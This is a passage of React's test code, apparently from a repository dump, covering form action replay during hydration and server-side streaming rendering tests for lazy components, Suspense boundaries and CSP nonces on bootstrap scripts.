);\n    await readIntoContainer(stream);\n\n    // Dispatch an event before hydration\n    submit(container.getElementsByTagName('form')[0]);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    // It should've now been replayed\n    expect(foo).toBe('bar');\n  });\n\n  it('should replay input/button formAction', async () => {\n    let rootActionCalled = false;\n    let savedTitle = null;\n    let deletedTitle = null;\n\n    function action(formData) {\n      rootActionCalled = true;\n    }\n\n    function saveItem(formData) {\n      savedTitle = formData.get('title');\n    }\n\n    function deleteItem(formData) {\n      deletedTitle = formData.get('title');\n    }\n\n    function App() {\n      return (\n        <form action={action}>\n          <input type=\"text\" name=\"title\" defaultValue=\"Hello\" />\n          <input type=\"submit\" formAction={saveItem} value=\"Save\" />\n          <button formAction={deleteItem}>Delete</button>\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n\n    submit(container.getElementsByTagName('input')[1]);\n    submit(container.getElementsByTagName('button')[0]);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(savedTitle).toBe('Hello');\n    expect(deletedTitle).toBe('Hello');\n    expect(rootActionCalled).toBe(false);\n  });\n\n  it('useOptimistic returns passthrough value', async () => {\n    function App() {\n      const [optimisticState] = useOptimistic('hi');\n      return optimisticState;\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    expect(container.textContent).toBe('hi');\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container.textContent).toBe('hi');\n  });\n\n  it('useActionState returns initial state', async () => {\n    async function action(state) {\n      return state;\n    }\n\n    function App() {\n      const [state] = useActionState(action, 0);\n      return state;\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    expect(container.textContent).toBe('0');\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container.textContent).toBe('0');\n  });\n\n  it('can provide a custom action on the server for actions', async () => {\n    const ref = React.createRef();\n    let foo;\n\n    function action(formData) {\n      foo = formData.get('foo');\n    }\n    action.$$FORM_ACTION = function (identifierPrefix) {\n      const extraFields = new FormData();\n      extraFields.append(identifierPrefix + 'hello', 'world');\n      return {\n        action: this.name,\n        name: identifierPrefix,\n        method: 'POST',\n        encType: 'multipart/form-data',\n        target: 'self',\n        data: extraFields,\n      };\n    };\n    function App() {\n      return (\n        <form action={action} ref={ref} method={null}>\n          <Suspense />\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n\n    const form = container.firstChild;\n    expect(form.getAttribute('action')).toBe('action');\n    expect(form.getAttribute('method')).toBe('POST');\n    expect(form.getAttribute('enctype')).toBe('multipart/form-data');\n    expect(form.getAttribute('target')).toBe('self');\n    const formActionName = form.firstChild.getAttribute('name');\n    expect(\n      container\n        .querySelector('input[name=\"' + formActionName + 'hello\"]')\n        .getAttribute('value'),\n    ).toBe('world');\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    submit(ref.current);\n\n    expect(foo).toBe('bar');\n  });\n\n  it('can provide a custom action on buttons the server for actions', async () => {\n    const hiddenRef = React.createRef();\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    let foo;\n\n    function action(formData) {\n      foo = formData.get('foo');\n    }\n    action.$$FORM_ACTION = function (identifierPrefix) {\n      const extraFields = new FormData();\n      extraFields.append(identifierPrefix + 'hello', 'world');\n      return {\n        action: this.name,\n        name: identifierPrefix,\n        method: 'POST',\n        encType: 'multipart/form-data',\n        target: 'self',\n        data: extraFields,\n      };\n    };\n    function App() {\n      return (\n        <form>\n          <input type=\"hidden\" name=\"foo\" value=\"bar\" ref={hiddenRef} />\n          <input\n            type=\"submit\"\n            formAction={action}\n            method={null}\n            ref={inputRef}\n          />\n          <button formAction={action} ref={buttonRef} target={null} />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n\n    const input = container.getElementsByTagName('input')[1];\n    const button = container.getElementsByTagName('button')[0];\n    expect(input.getAttribute('formaction')).toBe('action');\n    expect(input.getAttribute('formmethod')).toBe('POST');\n    expect(input.getAttribute('formenctype')).toBe('multipart/form-data');\n    expect(input.getAttribute('formtarget')).toBe('self');\n    expect(button.getAttribute('formaction')).toBe('action');\n    expect(button.getAttribute('formmethod')).toBe('POST');\n    expect(button.getAttribute('formenctype')).toBe('multipart/form-data');\n    expect(button.getAttribute('formtarget')).toBe('self');\n    const inputName = input.getAttribute('name');\n    const buttonName = button.getAttribute('name');\n    expect(\n      container\n        .querySelector('input[name=\"' + inputName + 'hello\"]')\n        .getAttribute('value'),\n    ).toBe('world');\n    expect(\n      container\n        .querySelector('input[name=\"' + buttonName + 'hello\"]')\n        .getAttribute('value'),\n    ).toBe('world');\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(hiddenRef.current.name).toBe('foo');\n\n    submit(inputRef.current);\n\n    expect(foo).toBe('bar');\n\n    foo = null;\n\n    submit(buttonRef.current);\n\n    expect(foo).toBe('bar');\n  });\n\n  it('can hydrate hidden fields in the beginning of a form', async () => {\n    const hiddenRef = React.createRef();\n\n    let invoked = false;\n    function action(formData) {\n      invoked = true;\n    }\n    action.$$FORM_ACTION = function (identifierPrefix) {\n      const extraFields = new FormData();\n      extraFields.append(identifierPrefix + 'hello', 'world');\n      return {\n        action: '',\n        name: identifierPrefix,\n        method: 'POST',\n        encType: 'multipart/form-data',\n        data: extraFields,\n      };\n    };\n    function App() {\n      return (\n        <form action={action}>\n          <input type=\"hidden\" name=\"bar\" defaultValue=\"baz\" ref={hiddenRef} />\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n\n    const barField = container.querySelector('[name=bar]');\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(hiddenRef.current).toBe(barField);\n\n    expect(hiddenRef.current.name).toBe('bar');\n    expect(hiddenRef.current.value).toBe('baz');\n\n    expect(container.querySelectorAll('[name=bar]').length).toBe(1);\n\n    submit(hiddenRef.current.form);\n\n    expect(invoked).toBe(true);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\nimport {\n  insertNodesAndExecuteScripts,\n  mergeOptions,\n  stripExternalRuntimeInNodes,\n  getVisibleChildren,\n} from '../test-utils/FizzTestUtils';\n\nlet JSDOM;\nlet Stream;\nlet Scheduler;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMFizzServer;\nlet ReactDOMFizzStatic;\nlet Suspense;\nlet SuspenseList;\n\nlet assertConsoleErrorDev;\nlet useSyncExternalStore;\nlet useSyncExternalStoreWithSelector;\nlet use;\nlet useActionState;\nlet PropTypes;\nlet textCache;\nlet writable;\nlet CSPnonce = null;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet renderOptions;\nlet waitFor;\nlet waitForAll;\nlet assertLog;\nlet waitForPaint;\nlet clientAct;\nlet streamingContainer;\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\ndescribe('ReactDOMFizzServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    // We mock matchMedia. for simplicity it only matches 'all' or '' and misses everything else\n    Object.defineProperty(jsdom.window, 'matchMedia', {\n      writable: true,\n      value: jest.fn().mockImplementation(query => ({\n        matches: query === 'all' || query === '',\n        media: query,\n      })),\n    });\n    streamingContainer = null;\n    global.window = jsdom.window;\n    global.document = global.window.document;\n    global.navigator = global.window.navigator;\n    global.Node = global.window.Node;\n    global.addEventListener = global.window.addEventListener;\n    global.MutationObserver = global.window.MutationObserver;\n    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.\n    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>\n      setTimeout(cb);\n    container = document.getElementById('container');\n\n    CSPnonce = null;\n    Scheduler = require('scheduler');\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server');\n    ReactDOMFizzStatic = require('react-dom/static');\n    Stream = require('stream');\n    Suspense = React.Suspense;\n    use = React.use;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n    PropTypes = require('prop-types');\n    if (__VARIANT__) {\n      const originalConsoleError = console.error;\n      console.error = (error, ...args) => {\n        if (\n          typeof error !== 'string' ||\n          error.indexOf('ReactDOM.useFormState has been renamed') === -1\n        ) {\n          originalConsoleError(error, ...args);\n        }\n      };\n\n      // Remove after API is deleted.\n      useActionState = ReactDOM.useFormState;\n    } else {\n      useActionState = React.useActionState;\n    }\n\n    ({\n      assertConsoleErrorDev,\n      assertLog,\n      act: clientAct,\n      waitFor,\n      waitForAll,\n      waitForPaint,\n    } = require('internal-test-utils'));\n\n    if (gate(flags => flags.source)) {\n      // The `with-selector` module composes the main `use-sync-external-store`\n      // entrypoint. In the compiled artifacts, this is resolved to the `shim`\n      // implementation by our build config, but when running the tests against\n      // the source files, we need to tell Jest how to resolve it. Because this\n      // is a source module, this mock has no affect on the build tests.\n      jest.mock('use-sync-external-store/src/useSyncExternalStore', () =>\n        jest.requireActual('react'),\n      );\n    }\n    useSyncExternalStore = React.useSyncExternalStore;\n    useSyncExternalStoreWithSelector =\n      require('use-sync-external-store/with-selector').useSyncExternalStoreWithSelector;\n\n    textCache = new Map();\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n\n    renderOptions = {};\n    if (gate(flags => flags.shouldUseFizzExternalRuntime)) {\n      renderOptions.unstable_externalRuntimeSrc =\n        'react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js';\n    }\n  });\n\n  function expectErrors(errorsArr, toBeDevArr, toBeProdArr) {\n    const mappedErrows = errorsArr.map(({error, errorInfo}) => {\n      const stack = errorInfo && errorInfo.componentStack;\n      const digest = error.digest;\n      if (stack) {\n        return [error.message, digest, normalizeCodeLocInfo(stack)];\n      } else if (digest) {\n        return [error.message, digest];\n      }\n      return error.message;\n    });\n    if (__DEV__) {\n      expect(mappedErrows).toEqual(toBeDevArr);\n    } else {\n      expect(mappedErrows).toEqual(toBeProdArr);\n    }\n  }\n\n  function componentStack(components) {\n    return components\n      .map(component => `\\n    in ${component} (at **)`)\n      .join('');\n  }\n\n  const bodyStartMatch = /<body(?:>| .*?>)/;\n  const headStartMatch = /<head(?:>| .*?>)/;\n\n  async function act(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    let bufferedContent = buffer;\n    buffer = '';\n\n    if (!bufferedContent) {\n      jest.runAllTimers();\n      return;\n    }\n\n    const bodyMatch = bufferedContent.match(bodyStartMatch);\n    const headMatch = bufferedContent.match(headStartMatch);\n\n    if (streamingContainer === null) {\n      // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>\n      // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the\n      // container. This is not really production behavior because you can't correctly stream into a deep div effectively\n      // but it's pragmatic for tests.\n\n      if (\n        bufferedContent.startsWith('<head>') ||\n        bufferedContent.startsWith('<head ') ||\n        bufferedContent.startsWith('<body>') ||\n        bufferedContent.startsWith('<body ')\n      ) {\n        // wrap in doctype to normalize the parsing process\n        bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;\n      } else if (\n        bufferedContent.startsWith('<html>') ||\n        bufferedContent.startsWith('<html ')\n      ) {\n        throw new Error(\n          'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',\n        );\n      }\n\n      if (bufferedContent.startsWith('<!DOCTYPE html>')) {\n        // we can just use the whole document\n        const tempDom = new JSDOM(bufferedContent);\n\n        // Wipe existing head and body content\n        document.head.innerHTML = '';\n        document.body.innerHTML = '';\n\n        // Copy the <html> attributes over\n        const tempHtmlNode = tempDom.window.document.documentElement;\n        for (let i = 0; i < tempHtmlNode.attributes.length; i++) {\n          const attr = tempHtmlNode.attributes[i];\n          document.documentElement.setAttribute(attr.name, attr.value);\n        }\n\n        if (headMatch) {\n          // We parsed a head open tag. we need to copy head attributes and insert future\n          // content into <head>\n          streamingContainer = document.head;\n          const tempHeadNode = tempDom.window.document.head;\n          for (let i = 0; i < tempHeadNode.attributes.length; i++) {\n            const attr = tempHeadNode.attributes[i];\n            document.head.setAttribute(attr.name, attr.value);\n          }\n          const source = document.createElement('head');\n          source.innerHTML = tempHeadNode.innerHTML;\n          await insertNodesAndExecuteScripts(source, document.head, CSPnonce);\n        }\n\n        if (bodyMatch) {\n          // We parsed a body open tag. we need to copy head attributes and insert future\n          // content into <body>\n          streamingContainer = document.body;\n          const tempBodyNode = tempDom.window.document.body;\n          for (let i = 0; i < tempBodyNode.attributes.length; i++) {\n            const attr = tempBodyNode.attributes[i];\n            document.body.setAttribute(attr.name, attr.value);\n          }\n          const source = document.createElement('body');\n          source.innerHTML = tempBodyNode.innerHTML;\n          await insertNodesAndExecuteScripts(source, document.body, CSPnonce);\n        }\n\n        if (!headMatch && !bodyMatch) {\n          throw new Error('expected <head> or <body> after <html>');\n        }\n      } else {\n        // we assume we are streaming into the default container'\n        streamingContainer = container;\n        const div = document.createElement('div');\n        div.innerHTML = bufferedContent;\n        await insertNodesAndExecuteScripts(div, container, CSPnonce);\n      }\n    } else if (streamingContainer === document.head) {\n      bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;\n      const tempDom = new JSDOM(bufferedContent);\n\n      const tempHeadNode = tempDom.window.document.head;\n      const source = document.createElement('head');\n      source.innerHTML = tempHeadNode.innerHTML;\n      await insertNodesAndExecuteScripts(source, document.head, CSPnonce);\n\n      if (bodyMatch) {\n        streamingContainer = document.body;\n\n        const tempBodyNode = tempDom.window.document.body;\n        for (let i = 0; i < tempBodyNode.attributes.length; i++) {\n          const attr = tempBodyNode.attributes[i];\n          document.body.setAttribute(attr.name, attr.value);\n        }\n        const bodySource = document.createElement('body');\n        bodySource.innerHTML = tempBodyNode.innerHTML;\n        await insertNodesAndExecuteScripts(bodySource, document.body, CSPnonce);\n      }\n    } else {\n      const div = document.createElement('div');\n      div.innerHTML = bufferedContent;\n      await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);\n    }\n    // Let throttled boundaries reveal\n    jest.runAllTimers();\n  }\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function rejectText(text, error) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'rejected',\n        value: error,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'rejected';\n      record.value = error;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    return text;\n  }\n\n  function AsyncText({text}) {\n    return readText(text);\n  }\n\n  function AsyncTextWrapped({as, text}) {\n    const As = as;\n    return <As>{readText(text)}</As>;\n  }\n  function renderToPipeableStream(jsx, options) {\n    // Merge options with renderOptions, which may contain featureFlag specific behavior\n    return ReactDOMFizzServer.renderToPipeableStream(\n      jsx,\n      mergeOptions(options, renderOptions),\n    );\n  }\n\n  it('should asynchronously load a lazy component', async () => {\n    let resolveA;\n    const LazyA = React.lazy(() => {\n      return new Promise(r => {\n        resolveA = r;\n      });\n    });\n\n    let resolveB;\n    const LazyB = React.lazy(() => {\n      return new Promise(r => {\n        resolveB = r;\n      });\n    });\n\n    class TextWithPunctuation extends React.Component {\n      render() {\n        return <Text text={this.props.text + this.props.punctuation} />;\n      }\n    }\n\n    // This tests that default props of the inner element is resolved.\n    TextWithPunctuation.defaultProps = {\n      punctuation: '!',\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <div>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <LazyA text=\"Hello\" />\n            </Suspense>\n          </div>\n          <div>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <LazyB text=\"world\" />\n            </Suspense>\n          </div>\n        </div>,\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Loading...</div>\n        <div>Loading...</div>\n      </div>,\n    );\n    await act(() => {\n      resolveA({default: Text});\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Hello</div>\n        <div>Loading...</div>\n      </div>,\n    );\n    await act(() => {\n      resolveB({default: TextWithPunctuation});\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Hello</div>\n        <div>world!</div>\n      </div>,\n    );\n  });\n\n  it('#23331: does not warn about hydration mismatches if something suspended in an earlier sibling', async () => {\n    const makeApp = () => {\n      let resolve;\n      const imports = new Promise(r => {\n        resolve = () => r({default: () => <span id=\"async\">async</span>});\n      });\n      const Lazy = React.lazy(() => imports);\n\n      const App = () => (\n        <div>\n          <Suspense fallback={<span>Loading...</span>}>\n            <Lazy />\n            <span id=\"after\">after</span>\n          </Suspense>\n        </div>\n      );\n\n      return [App, resolve];\n    };\n\n    // Server-side\n    const [App, resolve] = makeApp();\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading...</span>\n      </div>,\n    );\n    await act(() => {\n      resolve();\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span id=\"async\">async</span>\n        <span id=\"after\">after</span>\n      </div>,\n    );\n\n    // Client-side\n    const [HydrateApp, hydrateResolve] = makeApp();\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <HydrateApp />);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span id=\"async\">async</span>\n        <span id=\"after\">after</span>\n      </div>,\n    );\n\n    await act(() => {\n      hydrateResolve();\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span id=\"async\">async</span>\n        <span id=\"after\">after</span>\n      </div>,\n    );\n  });\n\n  it('should support nonce for bootstrap and runtime scripts', async () => {\n    CSPnonce = 'R4nd0m';\n    try {\n      let resolve;\n      const Lazy = React.lazy(() => {\n        return new Promise(r => {\n          resolve = r;\n        });\n      });\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <div>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Lazy text=\"Hello\" />\n            </Suspense>\n          </div>,\n          {\n            nonce: 'R4nd0m',\n            bootstrapScriptContent: 'function noop(){}',\n            bootstrapScripts: [\n              'init.js',\n              {src: 'init2.js', integrity: 'init2hash'},\n            ],\n            bootstrapModules: [\n              'init.mjs',\n              {src: 'init2.mjs', integrity: 'init2hash'},\n            ],\n          },\n        );\n        pipe(writable);\n      });\n\n      expect(getVisibleChildren(container)).toEqual([\n        <link\n          rel=\"preload\"\n          fetchpriority=\"low\"\n          href=\"init.js\"\n          as=\"script\"\n          nonce={CSPnonce}\n        />,\n        <link\n          rel=\"preload\"\n          fetchpriority=\"low\"\n          href=\"init2.js\"\n          as=\"script\"\n          nonce={CSPnonce}\n          integrity=\"init2hash\"\n        />,\n        <link\n          rel=\"modulepreload\"\n          fetchpriority=\"low\"\n          href=\"init.mjs\"\n          nonce={CSPnonce}\n        />,\n        <link\n          rel=\"modulepreload\"\n          fetchpriority=\"low\"\n          href=\"init2.mjs\"\n          nonce={CSPnonce}\n          integrity=\"init2hash\"\n        />,\n        <div>Loading...</div>,\n      ]);\n\n      // check that there are 6 scripts with a matching nonce:\n      // The runtime script or initial paint time, an inline bootstrap script, two bootstrap scripts and two bootstrap modules\n      expect(\n        Array.from(container.getElementsByTagName('script')).filter(\n          node => node.getAttribute('nonce') === CSPnonce,\n        ).length,\n      ).toEqual(6);\n\n      await act(() => {\n        resolve({default: Text});\n      });\n      expect(getVisibleChildren(container)).toEqual([\n        <link\n          rel=\"preload\"\n          fetchpriority=\"low\"\n          href=\"init.js\"\n          as=\"script\"\n          nonce={CSPnonce}\n        />,\n        <link\n          rel=\"preload\"\n          fetchpriority=\"low\"\n          href=\"init2.js\"\n          as=\"script\"\n          nonce={CSPnonce}\n          integrity=\"init2hash\"\n        />,\n        <link\n          rel=\"modulepreload\"\n          fetchpriority=\"low\"\n          href=\"init.mjs\"\n          nonce={CSPnonce}\n        />,\n        <link\n          rel=\"modulepreload\"\n          fetchpriority=\"low\"\n          href=\"init2.mjs\"\n          nonce={CSPnonce}\n          integrity=\"init2hash\"\n        />,\n        <div>Hello</div>,\n      ]);\n    } finally {\n      CSPnonce = null;\n    }\n  });\n\n  it('should not automatically add nonce to rendered scripts', async () => {\n    CSPnonce = 'R4nd0m';\n    try {\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <script nonce={CSPnonce}>{'try { foo() } catch (e) {} ;'}</script>\n              <script nonce={CSPnonce} src=\"foo\" async={true} />\n              <script src=\"bar\" />\n              <script src=\"baz\" integrity=\"qux\" async={true} />\n              <script type=\"module\" src=\"quux\" async={true} />\n              <script type=\"module\" src=\"corge\" async={true} />\n              <script\n                type=\"module\"\n                src=\"grault\"\n                integrity=\"garply\"\n                async={true}\n              />\n            </body>\n          </html>,\n          {\n            nonce: CSPnonce,\n          },\n        );\n        pipe(writable);\n      });\n\n      expect(\n        stripExternalRuntimeInNodes(\n          document.getElementsByTagName('script'),\n          renderOptions.unstable_externalRuntimeSrc,\n        ).map(n => n.outerHTML),\n      ).toEqual([\n        `<script nonce=\"${CSPnonce}\" src=\"foo\" async=\"\"></script>`,\n        `<script src=\"baz\" integrity=\"qux\" async=\"\"></script>`,\n        `<script type=\"module\" src=\"quux\" async=\"\"></script>`,\n        `<script type=\"module\" src=\"corge\" async=\"\"></script>`,\n        `<script type=\"module\" src=\"grault\" integrity=\"garply\" async=\"\"></script>`,\n        `<script nonce=\"${CSPnonce}\">try { foo() } catch (e) {} ;</script>`,\n        `<script src=\"bar\"></script>`,\n      ]);\n    } finally {\n      CSPnonce = null;\n    }\n  });\n\n  it('should client render a boundary if a lazy component rejects', async () => {\n    let rejectComponent;\n    const promise = new Promise((resolve, reject) => {\n      rejectComponent = reject;\n    });\n    const LazyComponent = React.lazy(() => {\n      return promise;\n    });\n\n    const LazyLazy = React.lazy(async () => {\n      return {\n        default: LazyComponent,\n      };\n    });\n\n    function Wrapper({children}) {\n      return children;\n    }\n    const LazyWrapper = React.lazy(() => {\n      return {\n        then(callback) {\n          callback({\n            default: Wrapper,\n          });\n        },\n      };\n    });\n\n    function App({isClient}) {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <LazyWrapper>\n              {isClient ? <Text text=\"Hello\" /> : <LazyLazy text=\"Hello\" />}\n            </LazyWrapper>\n          </Suspense>\n        </div>\n      );\n    }\n\n    let bootstrapped = false;\n    const errors = [];\n    window.__INIT__ = function () {\n      bootstrapped = true;\n      // Attempt to hydrate the content.\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n        onRecoverableError(error, errorInfo) {\n          errors.push({error, errorInfo});\n        },\n      });\n    };\n\n    const theError = new Error('Test');\n    const loggedErrors = [];\n    function onError(x, errorInfo) {\n      loggedErrors.push(x);\n      return 'Hash of (' + x.message + ')';\n    }\n    const expectedDigest = onError(theError);\n    loggedErrors.length = 0;\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App isClient={false} />, {\n        bootstrapScriptContent: '__INIT__();',\n        onError,\n      });\n      pipe(writable);\n    });\n\n    expect(loggedErrors).toEqual([]);\n    expect(bootstrapped).toBe(true);\n\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    expect(loggedErrors).toEqual([]);\n\n    await act(() => {\n      rejectComponent(theError);\n    });\n\n    expect(loggedErrors).toEqual([theError]);\n\n    // We haven't ran the client hydration yet.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    // Now we can client render it instead.\n    await waitForAll([]);\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering errored:\\n\\n' +\n            theError.message,\n          expectedDigest,\n          componentStack(['Lazy', 'Wrapper', 'Suspense', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n\n    // The client rendered HTML is now in place.\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n\n    expect(loggedErrors).toEqual([theError]);\n  });\n\n  it('should have special stacks if Suspense fallback', async () => {\n    const infinitePromise = new Promise(() => {});\n    const InfiniteComponent = React.lazy(() => {\n      return infinitePromise;\n    });\n\n    function Throw({text}) {\n      throw new Error(text);\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading\">\n          <div>\n            <Suspense fallback={<Throw text=\"Bye\" />}>\n              <InfiniteComponent text=\"Hi\" />\n            </Suspense>\n          </div>\n        </Suspense>\n      );\n    }\n\n    const loggedErrors = [];\n    function onError(x, errorInfo) {\n      loggedErrors.push({\n        message: x.message,\n        componentStack: errorInfo.componentStack,\n      });\n      return 'Hash of (' + x.message + ')';\n    }\n    loggedErrors.length = 0;\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError,\n      });\n      pipe(writable);\n    });\n\n    expect(loggedErrors.length).toBe(1);\n    expect(loggedErrors[0].message).toBe('Bye');\n    expect(normalizeCodeLocInfo(loggedErrors[0].componentStack)).toBe(\n      componentStack(['Throw', 'Suspense Fallback', 'div', 'Suspense', 'App']),\n    );\n  });\n\n  it('should asynchronously load a lazy element', async () => {\n    let resolveElement;\n    const lazyElement = React.lazy(() => {\n      return new Promise(r => {\n        resolveElement = r;\n      });\n    });\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {lazyElement}\n          </Suspense>\n        </div>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n    // Because there is no content inside the Suspense boundary that could've\n    // been written, we expect to not see any additional partial data flushed\n    // yet.\n    expect(\n      stripExternalRuntimeInNodes(\n        container.childNodes,\n        renderOptions.unstable_externalRuntimeSrc,\n      ).length,\n    ).toBe(gate(flags => flags.shouldUseFizzExternalRuntime) ? 1 : 2);\n    await act(() => {\n      resolveElement({default: <Text text=\"Hello\" />});\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n  });\n\n  it('should client render a boundary if a lazy element rejects', async () => {\n    let rejectElement;\n    const element = <Text text=\"Hello\" />;\n    const lazyElement = React.lazy(() => {\n      return new Promise((resolve, reject) => {\n        rejectElement = reject;\n      });\n    });\n\n    const theError = new Error('Test');\n    const loggedErrors = [];\n    function onError(x, errorInfo) {\n      loggedErrors.push(x);\n      return 'hash of (' + x.message + ')';\n    }\n    const expectedDigest = onError(theError);\n    loggedErrors.length = 0;\n\n    function App({isClient}) {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {isClient ? element : lazyElement}\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App isClient={false} />, {\n        onError,\n      });\n      pipe(writable);\n    });\n    